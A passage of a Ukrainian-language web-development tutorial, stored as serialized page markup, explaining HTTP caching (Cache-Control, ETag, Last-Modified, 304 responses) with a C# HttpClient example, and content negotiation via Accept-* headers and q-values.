immutable\n",[3430,12030,12031],{"__ignoreMap":3428},[3433,12032,12033,12035,12037],{"class":3435,"line":3436},[3433,12034,11932],{"class":3920},[3433,12036,3908],{"class":3923},[3433,12038,12039],{"class":3926}," public, max-age=31536000, immutable\n",[3317,12041,12042,12043,12045],{},"Хеш у URL + ",[3430,12044,11831],{}," = агресивне кешування на рік без перевірок. CDN кешує максимально. При деплої новий хеш = новий URL = примусове завантаження.",[3654,12047,12049],{"id":12048},"conditional-get-etag-та-last-modified","Conditional GET: ETag та Last-Modified",[3317,12051,12052,12053,12056],{},"Механізм, що дозволяє клієнту ",[3321,12054,12055],{},"перевірити актуальність"," кешованого ресурсу без його повного завантаження.",[8586,12058,12060],{"id":12059},"etag-entity-tag","ETag (Entity Tag)",[3317,12062,12063,12066,12067,3670],{},[3321,12064,12065],{},"ETag"," — довільний ідентифікатор версії ресурсу (хеш вмісту, версія, timestamp). Сервер генерує; клієнт надсилає назад через ",[3430,12068,12069],{},"If-None-Match",[3420,12071,12072],{},[3423,12073,12075],{"className":3425,"code":12074,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nparticipant \"Клієнт\" as client #e3f2fd\nparticipant \"Сервер\" as server #e8f5e9\n\n== Перший запит ==\nclient -> server : GET \u002Fapi\u002Fproducts\nserver --> client : 200 OK\\nETag: \"v5-abc123\"\\nCache-Control: max-age=60\\n\\n[список продуктів — 50KB]\n\nnote over client : Кешує: resource + ETag \"v5-abc123\"\n\n== Через 61 секунду ==\nclient -> server : GET \u002Fapi\u002Fproducts\\nIf-None-Match: \"v5-abc123\"\n\nalt Ресурс НЕ змінився\n    server --> client : **304 Not Modified**\\nETag: \"v5-abc123\"\\n\\n(тіло відсутнє — 0 байт!)\n    note over client : Використовує кеш — 50KB зекономлено\nelse Ресурс змінився\n    server --> client : 200 OK\\nETag: \"v6-xyz789\"\\n\\n[новий список — 52KB]\nend\n\n@enduml\n",[3430,12076,12077,12081,12085,12089,12093,12097,12101,12105,12110,12115,12120,12124,12129,12133,12138,12143,12147,12152,12157,12162,12167,12172,12176,12180],{"__ignoreMap":3428},[3433,12078,12079],{"class":3435,"line":3436},[3433,12080,3439],{},[3433,12082,12083],{"class":3435,"line":3442},[3433,12084,3445],{},[3433,12086,12087],{"class":3435,"line":3448},[3433,12088,3451],{},[3433,12090,12091],{"class":3435,"line":3454},[3433,12092,3458],{"emptyLinePlaceholder":3457},[3433,12094,12095],{"class":3435,"line":3461},[3433,12096,6575],{},[3433,12098,12099],{"class":3435,"line":3467},[3433,12100,3476],{},[3433,12102,12103],{"class":3435,"line":3473},[3433,12104,3458],{"emptyLinePlaceholder":3457},[3433,12106,12107],{"class":3435,"line":3479},[3433,12108,12109],{},"== Перший запит ==\n",[3433,12111,12112],{"class":3435,"line":3484},[3433,12113,12114],{},"client -> server : GET \u002Fapi\u002Fproducts\n",[3433,12116,12117],{"class":3435,"line":3490},[3433,12118,12119],{},"server --> client : 200 OK\\nETag: \"v5-abc123\"\\nCache-Control: max-age=60\\n\\n[список продуктів — 50KB]\n",[3433,12121,12122],{"class":3435,"line":3496},[3433,12123,3458],{"emptyLinePlaceholder":3457},[3433,12125,12126],{"class":3435,"line":3502},[3433,12127,12128],{},"note over client : Кешує: resource + ETag \"v5-abc123\"\n",[3433,12130,12131],{"class":3435,"line":3508},[3433,12132,3458],{"emptyLinePlaceholder":3457},[3433,12134,12135],{"class":3435,"line":3513},[3433,12136,12137],{},"== Через 61 секунду ==\n",[3433,12139,12140],{"class":3435,"line":3519},[3433,12141,12142],{},"client -> server : GET \u002Fapi\u002Fproducts\\nIf-None-Match: \"v5-abc123\"\n",[3433,12144,12145],{"class":3435,"line":3525},[3433,12146,3458],{"emptyLinePlaceholder":3457},[3433,12148,12149],{"class":3435,"line":3531},[3433,12150,12151],{},"alt Ресурс НЕ змінився\n",[3433,12153,12154],{"class":3435,"line":3537},[3433,12155,12156],{},"    server --> client : **304 Not Modified**\\nETag: \"v5-abc123\"\\n\\n(тіло відсутнє — 0 байт!)\n",[3433,12158,12159],{"class":3435,"line":3542},[3433,12160,12161],{},"    note over client : Використовує кеш — 50KB зекономлено\n",[3433,12163,12164],{"class":3435,"line":3548},[3433,12165,12166],{},"else Ресурс змінився\n",[3433,12168,12169],{"class":3435,"line":3554},[3433,12170,12171],{},"    server --> client : 200 OK\\nETag: \"v6-xyz789\"\\n\\n[новий список — 52KB]\n",[3433,12173,12174],{"class":3435,"line":3560},[3433,12175,9240],{},[3433,12177,12178],{"class":3435,"line":3565},[3433,12179,3458],{"emptyLinePlaceholder":3457},[3433,12181,12182],{"class":3435,"line":3570},[3433,12183,3645],{},[8586,12185,12187],{"id":12186},"last-modified-та-if-modified-since","Last-Modified та If-Modified-Since",[3317,12189,12190],{},"Альтернатива ETag на основі часу останньої модифікації:",[3423,12192,12194],{"className":3911,"code":12193,"language":3913,"meta":3428,"style":3428},"GET \u002Fapi\u002Fproducts HTTP\u002F1.1\n\n→\n\nHTTP\u002F1.1 200 OK\nLast-Modified: Thu, 22 May 2025 10:00:00 GMT\nCache-Control: max-age=60\nContent-Length: 51200\n\n[50KB body]\n",[3430,12195,12196,12212,12216,12221,12225,12240,12250,12259,12269,12273],{"__ignoreMap":3428},[3433,12197,12198,12201,12204,12207,12209],{"class":3435,"line":3436},[3433,12199,12200],{"class":4741},"GET",[3433,12202,12203],{"class":4749}," \u002Fapi\u002Fproducts ",[3433,12205,12206],{"class":3923},"HTTP",[3433,12208,4151],{"class":4749},[3433,12210,12211],{"class":5604},"1.1\n",[3433,12213,12214],{"class":3435,"line":3442},[3433,12215,3458],{"emptyLinePlaceholder":3457},[3433,12217,12218],{"class":3435,"line":3448},[3433,12219,12220],{"class":4749},"→\n",[3433,12222,12223],{"class":3435,"line":3454},[3433,12224,3458],{"emptyLinePlaceholder":3457},[3433,12226,12227,12229,12231,12234,12237],{"class":3435,"line":3461},[3433,12228,12206],{"class":3923},[3433,12230,4151],{"class":4749},[3433,12232,12233],{"class":5604},"1.1",[3433,12235,12236],{"class":5604}," 200",[3433,12238,12239],{"class":3926}," OK\n",[3433,12241,12242,12245,12247],{"class":3435,"line":3467},[3433,12243,12244],{"class":3920},"Last-Modified",[3433,12246,3908],{"class":3923},[3433,12248,12249],{"class":3926}," Thu, 22 May 2025 10:00:00 GMT\n",[3433,12251,12252,12254,12256],{"class":3435,"line":3473},[3433,12253,11932],{"class":3920},[3433,12255,3908],{"class":3923},[3433,12257,12258],{"class":3926}," max-age=60\n",[3433,12260,12261,12264,12266],{"class":3435,"line":3479},[3433,12262,12263],{"class":3920},"Content-Length",[3433,12265,3908],{"class":3923},[3433,12267,12268],{"class":3926}," 51200\n",[3433,12270,12271],{"class":3435,"line":3484},[3433,12272,3458],{"emptyLinePlaceholder":3457},[3433,12274,12275,12277,12280,12284,12287],{"class":3435,"line":3490},[3433,12276,5666],{"class":4749},[3433,12278,12279],{"class":5604},"50",[3433,12281,12283],{"class":12282},"se1LK","KB",[3433,12285,12286],{"class":12282}," body",[3433,12288,12289],{"class":4749},"]\n",[3423,12291,12293],{"className":3911,"code":12292,"language":3913,"meta":3428,"style":3428},"GET \u002Fapi\u002Fproducts HTTP\u002F1.1\nIf-Modified-Since: Thu, 22 May 2025 10:00:00 GMT\n\n→\n\nHTTP\u002F1.1 304 Not Modified\nLast-Modified: Thu, 22 May 2025 10:00:00 GMT\n\n(без тіла!)\n",[3430,12294,12295,12307,12316,12320,12324,12328,12342,12350,12354],{"__ignoreMap":3428},[3433,12296,12297,12299,12301,12303,12305],{"class":3435,"line":3436},[3433,12298,12200],{"class":4741},[3433,12300,12203],{"class":4749},[3433,12302,12206],{"class":3923},[3433,12304,4151],{"class":4749},[3433,12306,12211],{"class":5604},[3433,12308,12309,12312,12314],{"class":3435,"line":3442},[3433,12310,12311],{"class":3920},"If-Modified-Since",[3433,12313,3908],{"class":3923},[3433,12315,12249],{"class":3926},[3433,12317,12318],{"class":3435,"line":3448},[3433,12319,3458],{"emptyLinePlaceholder":3457},[3433,12321,12322],{"class":3435,"line":3454},[3433,12323,12220],{"class":4749},[3433,12325,12326],{"class":3435,"line":3461},[3433,12327,3458],{"emptyLinePlaceholder":3457},[3433,12329,12330,12332,12334,12336,12339],{"class":3435,"line":3467},[3433,12331,12206],{"class":3923},[3433,12333,4151],{"class":4749},[3433,12335,12233],{"class":5604},[3433,12337,12338],{"class":5604}," 304",[3433,12340,12341],{"class":3926}," Not Modified\n",[3433,12343,12344,12346,12348],{"class":3435,"line":3473},[3433,12345,12244],{"class":3920},[3433,12347,3908],{"class":3923},[3433,12349,12249],{"class":3926},[3433,12351,12352],{"class":3435,"line":3479},[3433,12353,3458],{"emptyLinePlaceholder":3457},[3433,12355,12356],{"class":3435,"line":3484},[3433,12357,12358],{"class":4749},"(без тіла!)\n",[3317,12360,12361],{},[3321,12362,12363],{},"ETag vs Last-Modified:",[3686,12365,12366,12369,12376,12379],{},[3689,12367,12368],{},"ETag точніший (змінюється тільки при зміні вмісту, не лише часу)",[3689,12370,12371,12372,12375],{},"ETag підтримує паралельні версії (",[3430,12373,12374],{},"W\u002F\"weak\""," для приблизного порівняння)",[3689,12377,12378],{},"Last-Modified простіший, але секундна точність може не вистачати",[3689,12380,12381,12382,12385],{},"Рекомендація: ",[3321,12383,12384],{},"надсилати обидва"," заголовки",[3423,12387,12389],{"className":4731,"code":12388,"language":4733,"meta":4734,"style":3428},"using System.Net;\nusing System.Net.Http;\nusing System.Net.Http.Headers;\n\nusing var client = new HttpClient { BaseAddress = new Uri(\"https:\u002F\u002Fhttpbingo.org\u002F\") };\n\nstring? cachedETag = null;\nDateTimeOffset? cachedLastModified = null;\nstring? cachedContent = null;\n\nasync Task\u003Cstring?> GetProductsAsync()\n{\n    \u002F\u002F httpbingo.org\u002Fetag\u002F{etag} — повертає ETag і відповідає 304 при If-None-Match\n    var request = new HttpRequestMessage(HttpMethod.Get, \"etag\u002Fv5-abc123\");\n\n    \u002F\u002F Conditional GET: ETag\n    if (cachedETag is not null)\n        request.Headers.IfNoneMatch.Add(new EntityTagHeaderValue($\"\\\"{cachedETag}\\\"\"));\n\n    \u002F\u002F Conditional GET: Last-Modified\n    if (cachedLastModified.HasValue)\n        request.Headers.IfModifiedSince = cachedLastModified.Value;\n\n    HttpResponseMessage response = await client.SendAsync(request);\n\n    if (response.StatusCode == HttpStatusCode.NotModified)\n    {\n        Console.WriteLine(\"📦 304 Not Modified — 0 байт завантажено\");\n        return cachedContent;\n    }\n\n    response.EnsureSuccessStatusCode();\n\n    \u002F\u002F Зберігаємо валідатори для наступного запиту\n    if (response.Headers.ETag is not null)\n        cachedETag = response.Headers.ETag.Tag.Trim('\"');\n\n    if (response.Content.Headers.LastModified.HasValue)\n        cachedLastModified = response.Content.Headers.LastModified;\n\n    cachedContent = await response.Content.ReadAsStringAsync();\n    Console.WriteLine($\"🔄 200 OK — {cachedContent.Length} байт завантажено\");\n    return cachedContent;\n}\n\nvar first = await GetProductsAsync();   \u002F\u002F 200 OK — 50000 байт\nvar second = await GetProductsAsync();  \u002F\u002F 304 Not Modified — 0 байт\n",[3430,12390,12391,12403,12419,12439,12443,12473,12477,12492,12508,12523,12527,12548,12552,12557,12584,12588,12593,12609,12655,12659,12664,12679,12702,12706,12729,12733,12758,12762,12777,12786,12790,12794,12805,12809,12814,12838,12871,12875,12902,12925,12929,12951,12979,12988,12992,12996,13016],{"__ignoreMap":3428},[3433,12392,12393,12395,12397,12399,12401],{"class":3435,"line":3436},[3433,12394,4742],{"class":4741},[3433,12396,4746],{"class":4745},[3433,12398,3670],{"class":4749},[3433,12400,4752],{"class":4745},[3433,12402,4755],{"class":4749},[3433,12404,12405,12407,12409,12411,12413,12415,12417],{"class":3435,"line":3442},[3433,12406,4742],{"class":4741},[3433,12408,4746],{"class":4745},[3433,12410,3670],{"class":4749},[3433,12412,4752],{"class":4745},[3433,12414,3670],{"class":4749},[3433,12416,4770],{"class":4745},[3433,12418,4755],{"class":4749},[3433,12420,12421,12423,12425,12427,12429,12431,12433,12435,12437],{"class":3435,"line":3448},[3433,12422,4742],{"class":4741},[3433,12424,4746],{"class":4745},[3433,12426,3670],{"class":4749},[3433,12428,4752],{"class":4745},[3433,12430,3670],{"class":4749},[3433,12432,4770],{"class":4745},[3433,12434,3670],{"class":4749},[3433,12436,5515],{"class":4745},[3433,12438,4755],{"class":4749},[3433,12440,12441],{"class":3435,"line":3454},[3433,12442,3458],{"emptyLinePlaceholder":3457},[3433,12444,12445,12447,12449,12451,12453,12455,12457,12459,12461,12463,12465,12467,12469,12471],{"class":3435,"line":3461},[3433,12446,4742],{"class":4741},[3433,12448,4882],{"class":3923},[3433,12450,4885],{"class":4811},[3433,12452,4815],{"class":4749},[3433,12454,4818],{"class":3923},[3433,12456,4892],{"class":4745},[3433,12458,5337],{"class":4749},[3433,12460,7753],{"class":4811},[3433,12462,4815],{"class":4749},[3433,12464,4818],{"class":3923},[3433,12466,4917],{"class":4745},[3433,12468,4895],{"class":4749},[3433,12470,4922],{"class":3926},[3433,12472,7767],{"class":4749},[3433,12474,12475],{"class":3435,"line":3467},[3433,12476,3458],{"emptyLinePlaceholder":3457},[3433,12478,12479,12481,12483,12486,12488,12490],{"class":3435,"line":3473},[3433,12480,3940],{"class":3923},[3433,12482,5412],{"class":4749},[3433,12484,12485],{"class":4811},"cachedETag",[3433,12487,4815],{"class":4749},[3433,12489,5420],{"class":3923},[3433,12491,4755],{"class":4749},[3433,12493,12494,12497,12499,12502,12504,12506],{"class":3435,"line":3479},[3433,12495,12496],{"class":4745},"DateTimeOffset",[3433,12498,5412],{"class":4749},[3433,12500,12501],{"class":4811},"cachedLastModified",[3433,12503,4815],{"class":4749},[3433,12505,5420],{"class":3923},[3433,12507,4755],{"class":4749},[3433,12509,12510,12512,12514,12517,12519,12521],{"class":3435,"line":3484},[3433,12511,3940],{"class":3923},[3433,12513,5412],{"class":4749},[3433,12515,12516],{"class":4811},"cachedContent",[3433,12518,4815],{"class":4749},[3433,12520,5420],{"class":3923},[3433,12522,4755],{"class":4749},[3433,12524,12525],{"class":3435,"line":3490},[3433,12526,3458],{"emptyLinePlaceholder":3457},[3433,12528,12529,12532,12535,12537,12539,12542,12545],{"class":3435,"line":3496},[3433,12530,12531],{"class":3923},"async",[3433,12533,12534],{"class":4745}," Task",[3433,12536,5005],{"class":4749},[3433,12538,3940],{"class":3923},[3433,12540,12541],{"class":4749},"?> ",[3433,12543,12544],{"class":4967},"GetProductsAsync",[3433,12546,12547],{"class":4749},"()\n",[3433,12549,12550],{"class":3435,"line":3502},[3433,12551,4843],{"class":4749},[3433,12553,12554],{"class":3435,"line":3508},[3433,12555,12556],{"class":4802},"    \u002F\u002F httpbingo.org\u002Fetag\u002F{etag} — повертає ETag і відповідає 304 при If-None-Match\n",[3433,12558,12559,12561,12563,12565,12567,12569,12571,12573,12575,12577,12579,12582],{"class":3435,"line":3513},[3433,12560,8219],{"class":3923},[3433,12562,5443],{"class":4811},[3433,12564,4815],{"class":4749},[3433,12566,4818],{"class":3923},[3433,12568,5450],{"class":4745},[3433,12570,4895],{"class":4749},[3433,12572,5455],{"class":4811},[3433,12574,3670],{"class":4749},[3433,12576,5460],{"class":4811},[3433,12578,4263],{"class":4749},[3433,12580,12581],{"class":3926},"\"etag\u002Fv5-abc123\"",[3433,12583,4976],{"class":4749},[3433,12585,12586],{"class":3435,"line":3519},[3433,12587,3458],{"emptyLinePlaceholder":3457},[3433,12589,12590],{"class":3435,"line":3525},[3433,12591,12592],{"class":4802},"    \u002F\u002F Conditional GET: ETag\n",[3433,12594,12595,12597,12599,12601,12603,12605,12607],{"class":3435,"line":3531},[3433,12596,8287],{"class":4741},[3433,12598,4638],{"class":4749},[3433,12600,12485],{"class":4811},[3433,12602,5771],{"class":3923},[3433,12604,5774],{"class":3923},[3433,12606,5777],{"class":3923},[3433,12608,4901],{"class":4749},[3433,12610,12611,12614,12616,12618,12620,12623,12625,12627,12629,12631,12634,12636,12638,12642,12644,12646,12648,12650,12652],{"class":3435,"line":3537},[3433,12612,12613],{"class":4811},"        request",[3433,12615,3670],{"class":4749},[3433,12617,5515],{"class":4811},[3433,12619,3670],{"class":4749},[3433,12621,12622],{"class":4811},"IfNoneMatch",[3433,12624,3670],{"class":4749},[3433,12626,5793],{"class":4967},[3433,12628,4895],{"class":4749},[3433,12630,4818],{"class":3923},[3433,12632,12633],{"class":4745}," EntityTagHeaderValue",[3433,12635,4895],{"class":4749},[3433,12637,11515],{"class":3926},[3433,12639,12641],{"class":12640},"sjcCO","\\\"",[3433,12643,5089],{"class":5088},[3433,12645,12485],{"class":4811},[3433,12647,5100],{"class":5088},[3433,12649,12641],{"class":12640},[3433,12651,5117],{"class":3926},[3433,12653,12654],{"class":4749},"));\n",[3433,12656,12657],{"class":3435,"line":3542},[3433,12658,3458],{"emptyLinePlaceholder":3457},[3433,12660,12661],{"class":3435,"line":3548},[3433,12662,12663],{"class":4802},"    \u002F\u002F Conditional GET: Last-Modified\n",[3433,12665,12666,12668,12670,12672,12674,12677],{"class":3435,"line":3554},[3433,12667,8287],{"class":4741},[3433,12669,4638],{"class":4749},[3433,12671,12501],{"class":4811},[3433,12673,3670],{"class":4749},[3433,12675,12676],{"class":4811},"HasValue",[3433,12678,4901],{"class":4749},[3433,12680,12681,12683,12685,12687,12689,12692,12694,12696,12698,12700],{"class":3435,"line":3560},[3433,12682,12613],{"class":4811},[3433,12684,3670],{"class":4749},[3433,12686,5515],{"class":4811},[3433,12688,3670],{"class":4749},[3433,12690,12691],{"class":4811},"IfModifiedSince",[3433,12693,4815],{"class":4749},[3433,12695,12501],{"class":4811},[3433,12697,3670],{"class":4749},[3433,12699,5112],{"class":4811},[3433,12701,4755],{"class":4749},[3433,12703,12704],{"class":3435,"line":3565},[3433,12705,3458],{"emptyLinePlaceholder":3457},[3433,12707,12708,12711,12713,12715,12717,12719,12721,12723,12725,12727],{"class":3435,"line":3570},[3433,12709,12710],{"class":4745},"    HttpResponseMessage",[3433,12712,6971],{"class":4811},[3433,12714,4815],{"class":4749},[3433,12716,4960],{"class":3923},[3433,12718,4885],{"class":4811},[3433,12720,3670],{"class":4749},[3433,12722,5484],{"class":4967},[3433,12724,4895],{"class":4749},[3433,12726,5489],{"class":4811},[3433,12728,4976],{"class":4749},[3433,12730,12731],{"class":3435,"line":3576},[3433,12732,3458],{"emptyLinePlaceholder":3457},[3433,12734,12735,12737,12739,12741,12743,12746,12748,12751,12753,12756],{"class":3435,"line":3582},[3433,12736,8287],{"class":4741},[3433,12738,4638],{"class":4749},[3433,12740,11351],{"class":4811},[3433,12742,3670],{"class":4749},[3433,12744,12745],{"class":4811},"StatusCode",[3433,12747,5967],{"class":4749},[3433,12749,12750],{"class":4811},"HttpStatusCode",[3433,12752,3670],{"class":4749},[3433,12754,12755],{"class":4811},"NotModified",[3433,12757,4901],{"class":4749},[3433,12759,12760],{"class":3435,"line":3587},[3433,12761,5565],{"class":4749},[3433,12763,12764,12766,12768,12770,12772,12775],{"class":3435,"line":3592},[3433,12765,8373],{"class":4811},[3433,12767,3670],{"class":4749},[3433,12769,5080],{"class":4967},[3433,12771,4895],{"class":4749},[3433,12773,12774],{"class":3926},"\"📦 304 Not Modified — 0 байт завантажено\"",[3433,12776,4976],{"class":4749},[3433,12778,12779,12781,12784],{"class":3435,"line":3598},[3433,12780,10510],{"class":4741},[3433,12782,12783],{"class":4811}," cachedContent",[3433,12785,4755],{"class":4749},[3433,12787,12788],{"class":3435,"line":3604},[3433,12789,5720],{"class":4749},[3433,12791,12792],{"class":3435,"line":3610},[3433,12793,3458],{"emptyLinePlaceholder":3457},[3433,12795,12796,12799,12801,12803],{"class":3435,"line":3615},[3433,12797,12798],{"class":4811},"    response",[3433,12800,3670],{"class":4749},[3433,12802,4986],{"class":4967},[3433,12804,4824],{"class":4749},[3433,12806,12807],{"class":3435,"line":3620},[3433,12808,3458],{"emptyLinePlaceholder":3457},[3433,12810,12811],{"class":3435,"line":3626},[3433,12812,12813],{"class":4802},"    \u002F\u002F Зберігаємо валідатори для наступного запиту\n",[3433,12815,12816,12818,12820,12822,12824,12826,12828,12830,12832,12834,12836],{"class":3435,"line":3632},[3433,12817,8287],{"class":4741},[3433,12819,4638],{"class":4749},[3433,12821,11351],{"class":4811},[3433,12823,3670],{"class":4749},[3433,12825,5515],{"class":4811},[3433,12827,3670],{"class":4749},[3433,12829,12065],{"class":4811},[3433,12831,5771],{"class":3923},[3433,12833,5774],{"class":3923},[3433,12835,5777],{"class":3923},[3433,12837,4901],{"class":4749},[3433,12839,12840,12843,12845,12847,12849,12851,12853,12855,12857,12860,12862,12864,12866,12869],{"class":3435,"line":3637},[3433,12841,12842],{"class":4811},"        cachedETag",[3433,12844,4815],{"class":4749},[3433,12846,11351],{"class":4811},[3433,12848,3670],{"class":4749},[3433,12850,5515],{"class":4811},[3433,12852,3670],{"class":4749},[3433,12854,12065],{"class":4811},[3433,12856,3670],{"class":4749},[3433,12858,12859],{"class":4811},"Tag",[3433,12861,3670],{"class":4749},[3433,12863,5611],{"class":4967},[3433,12865,4895],{"class":4749},[3433,12867,12868],{"class":3926},"'\"'",[3433,12870,4976],{"class":4749},[3433,12872,12873],{"class":3435,"line":3642},[3433,12874,3458],{"emptyLinePlaceholder":3457},[3433,12876,12877,12879,12881,12883,12885,12887,12889,12891,12893,12896,12898,12900],{"class":3435,"line":3895},[3433,12878,8287],{"class":4741},[3433,12880,4638],{"class":4749},[3433,12882,11351],{"class":4811},[3433,12884,3670],{"class":4749},[3433,12886,7880],{"class":4811},[3433,12888,3670],{"class":4749},[3433,12890,5515],{"class":4811},[3433,12892,3670],{"class":4749},[3433,12894,12895],{"class":4811},"LastModified",[3433,12897,3670],{"class":4749},[3433,12899,12676],{"class":4811},[3433,12901,4901],{"class":4749},[3433,12903,12904,12907,12909,12911,12913,12915,12917,12919,12921,12923],{"class":3435,"line":3900},[3433,12905,12906],{"class":4811},"        cachedLastModified",[3433,12908,4815],{"class":4749},[3433,12910,11351],{"class":4811},[3433,12912,3670],{"class":4749},[3433,12914,7880],{"class":4811},[3433,12916,3670],{"class":4749},[3433,12918,5515],{"class":4811},[3433,12920,3670],{"class":4749},[3433,12922,12895],{"class":4811},[3433,12924,4755],{"class":4749},[3433,12926,12927],{"class":3435,"line":5248},[3433,12928,3458],{"emptyLinePlaceholder":3457},[3433,12930,12931,12934,12936,12938,12940,12942,12944,12946,12949],{"class":3435,"line":5273},[3433,12932,12933],{"class":4811},"    cachedContent",[3433,12935,4815],{"class":4749},[3433,12937,4960],{"class":3923},[3433,12939,6971],{"class":4811},[3433,12941,3670],{"class":4749},[3433,12943,7880],{"class":4811},[3433,12945,3670],{"class":4749},[3433,12947,12948],{"class":4967},"ReadAsStringAsync",[3433,12950,4824],{"class":4749},[3433,12952,12953,12955,12957,12959,12961,12964,12966,12968,12970,12972,12974,12977],{"class":3435,"line":6516},[3433,12954,5075],{"class":4811},[3433,12956,3670],{"class":4749},[3433,12958,5080],{"class":4967},[3433,12960,4895],{"class":4749},[3433,12962,12963],{"class":3926},"$\"🔄 200 OK — ",[3433,12965,5089],{"class":5088},[3433,12967,12516],{"class":4811},[3433,12969,3670],{"class":5088},[3433,12971,5673],{"class":4811},[3433,12973,5100],{"class":5088},[3433,12975,12976],{"class":3926}," байт завантажено\"",[3433,12978,4976],{"class":4749},[3433,12980,12981,12984,12986],{"class":3435,"line":6522},[3433,12982,12983],{"class":4741},"    return",[3433,12985,12783],{"class":4811},[3433,12987,4755],{"class":4749},[3433,12989,12990],{"class":3435,"line":6527},[3433,12991,3813],{"class":4749},[3433,12993,12994],{"class":3435,"line":6532},[3433,12995,3458],{"emptyLinePlaceholder":3457},[3433,12997,12998,13000,13003,13005,13007,13010,13013],{"class":3435,"line":8453},[3433,12999,4808],{"class":3923},[3433,13001,13002],{"class":4811}," first",[3433,13004,4815],{"class":4749},[3433,13006,4960],{"class":3923},[3433,13008,13009],{"class":4967}," GetProductsAsync",[3433,13011,13012],{"class":4749},"();   ",[3433,13014,13015],{"class":4802},"\u002F\u002F 200 OK — 50000 байт\n",[3433,13017,13018,13020,13023,13025,13027,13029,13032],{"class":3435,"line":10849},[3433,13019,4808],{"class":3923},[3433,13021,13022],{"class":4811}," second",[3433,13024,4815],{"class":4749},[3433,13026,4960],{"class":3923},[3433,13028,13009],{"class":4967},[3433,13030,13031],{"class":4749},"();  ",[3433,13033,13034],{"class":4802},"\u002F\u002F 304 Not Modified — 0 байт\n",[3647,13036],{},[3312,13038,13040],{"id":13039},"content-negotiation-та-compression","Content Negotiation та Compression",[3654,13042,13044],{"id":13043},"content-negotiation","Content Negotiation",[3317,13046,13047,13048,13051,13052,3670],{},"Механізм, що дозволяє клієнту та серверу ",[3321,13049,13050],{},"погодитись"," про формат представлення ресурсу через заголовки сімейства ",[3430,13053,13054],{},"Accept-*",[8586,13056,13058],{"id":13057},"q-values-вагові-коефіцієнти","Q-values: вагові коефіцієнти",[3317,13060,13061,13062,13065,13066,13069],{},"Кожна опція у ",[3430,13063,13064],{},"Accept"," заголовку може мати ",[3321,13067,13068],{},"q-value"," від 0 до 1.0 (за замовчуванням 1.0). Сервер обирає формат з найвищим q-value серед доступних.",[3423,13071,13073],{"className":3911,"code":13072,"language":3913,"meta":3428,"style":3428},"Accept: application\u002Fjson;q=1.0, application\u002Fxml;q=0.8, text\u002Fplain;q=0.5, *\u002F*;q=0.1\n",[3430,13074,13075],{"__ignoreMap":3428},[3433,13076,13077,13079,13081],{"class":3435,"line":3436},[3433,13078,13064],{"class":3920},[3433,13080,3908],{"class":3923},[3433,13082,13083],{"class":3926}," application\u002Fjson;q=1.0, application\u002Fxml;q=0.8, text\u002Fplain;q=0.5, *\u002F*;q=0.1\n",[3317,13085,13086],{},"Розшифрування: «Найбільш бажаний — JSON (1.0), потім XML (0.8), потім text (0.5), будь-що інше (0.1)».",[8586,13088,13090],{"id":13089},"повний-набір-accept-заголовків","Повний набір Accept-* заголовків",[3346,13092,13093,13106],{},[3349,13094,13095],{},[3352,13096,13097,13100,13103],{},[3355,13098,13099],{},"Заголовок",[3355,13101,13102],{},"Що узгоджує",[3355,13104,13105],{},"Приклад",[3368,13107,13108,13122,13137,13152],{},[3352,13109,13110,13114,13117],{},[3373,13111,13112],{},[3430,13113,13064],{},[3373,13115,13116],{},"Формат тіла відповіді",[3373,13118,13119],{},[3430,13120,13121],{},"application\u002Fjson, application\u002Fxml",[3352,13123,13124,13129,13132],{},[3373,13125,13126],{},[3430,13127,13128],{},"Accept-Language",[3373,13130,13131],{},"Мова відповіді",[3373,13133,13134],{},[3430,13135,13136],{},"uk;q=1.0, en;q=0.8",[3352,13138,13139,13144,13147],{},[3373,13140,13141],{},[3430,13142,13143],{},"Accept-Encoding",[3373,13145,13146],{},"Алгоритм стиснення",[3373,13148,13149],{},[3430,13150,13151],{},"br, gzip, deflate",[3352,13153,13154,13159,13162],{},[3373,13155,13156],{},[3430,13157,13158],{},"Accept-Charset",[3373,13160,13161],{},"Кодування (застарілий)",[3373,13163,13164],{},[3430,13165,13166],{},"utf-8, iso-8859-1",[3423,13168,13170],{"className":3911,"code":13169,"language":3913,"meta":3428,"style":3428},"GET \u002Fapi\u002Fusers\u002F42 HTTP\u002F1.1\nAccept: application\u002Fjson;q=1.0, application\u002Fxml;q=0.8, text\u002Fplain;q=0.5\nAccept-Language: uk;q=1.0, en;q=0.8\nAccept-Encoding: br, gzip, deflate\n",[3430,13171,13172,13185,13194,13203],{"__ignoreMap":3428},[3433,13173,13174,13176,13179,13181,13183],{"class":3435,"line":3436},[3433,13175,12200],{"class":4741},[3433,13177,13178],{"class":4749}," \u002Fapi\u002Fusers\u002F42 ",[3433,13180,12206],{"class":3923},[3433,13182,4151],{"class":4749},[3433,13184,12211],{"class":5604},[3433,13186,13187,13189,13191],{"class":3435,"line":3442},[3433,13188,13064],{"class":3920},[3433,13190,3908],{"class":3923},[3433,13192,13193],{"class":3926}," application\u002Fjson;q=1.0, application\u002Fxml;q=0.8, text\u002Fplain;q=0.5\n",[3433,13195,13196,13198,13200],{"class":3435,"line":3448},[3433,13197,13128],{"class":3920},[3433,13199,3908],{"class":3923},[3433,13201,13202],{"class":3926}," uk;q=1.0, en;q=0.8\n",[3433,13204,13205,13207,13209],{"class":3435,"line":3454},[3433,13206,13143],{"class":3920},[3433,13208,3908],{"class":3923},[3433,13210,13211],{"class":3926}," br, gzip, deflate\n",[3317,13213,13214],{},"Відповідь сервера:",[3423,13216,13218],{"className":3911,"code":13217,"language":3913,"meta":3428,"style":3428},"HTTP\u002F1.1 200 OK\nContent-Type: application\u002Fjson; charset=utf-8\nContent-Language: uk\nContent-Encoding: br\nVary: Accept, Accept-Language, Accept-Encoding\n",[3430,13219,13220,13232,13241,13251,13261],{"__ignoreMap":3428},[3433,13221,13222,13224,13226,13228,13230],{"class":3435,"line":3436},[3433,13223,12206],{"class":3923},[3433,13225,4151],{"class":4749},[3433,13227,12233],{"class":5604},[3433,13229,12236],{"class":5604},[3433,13231,12239],{"class":3926},[3433,13233,13234,13236,13238],{"class":3435,"line":3442},[3433,13235,11097],{"class":3920},[3433,13237,3908],{"class":3923},[3433,13239,13240],{"class":3926}," application\u002Fjson; charset=utf-8\n",[3433,13242,13243,13246,13248],{"class":3435,"line":3448},[3433,13244,13245],{"class":3920},"Content-Language",[3433,13247,3908],{"class":3923},[3433,13249,13250],{"class":3926}," uk\n",[3433,13252,13253,13256,13258],{"class":3435,"line":3454},[3433,13254,13255],{"class":3920},"Content-Encoding",[3433,13257,3908],{"class":3923},[3433,13259,13260],{"class":3926}," 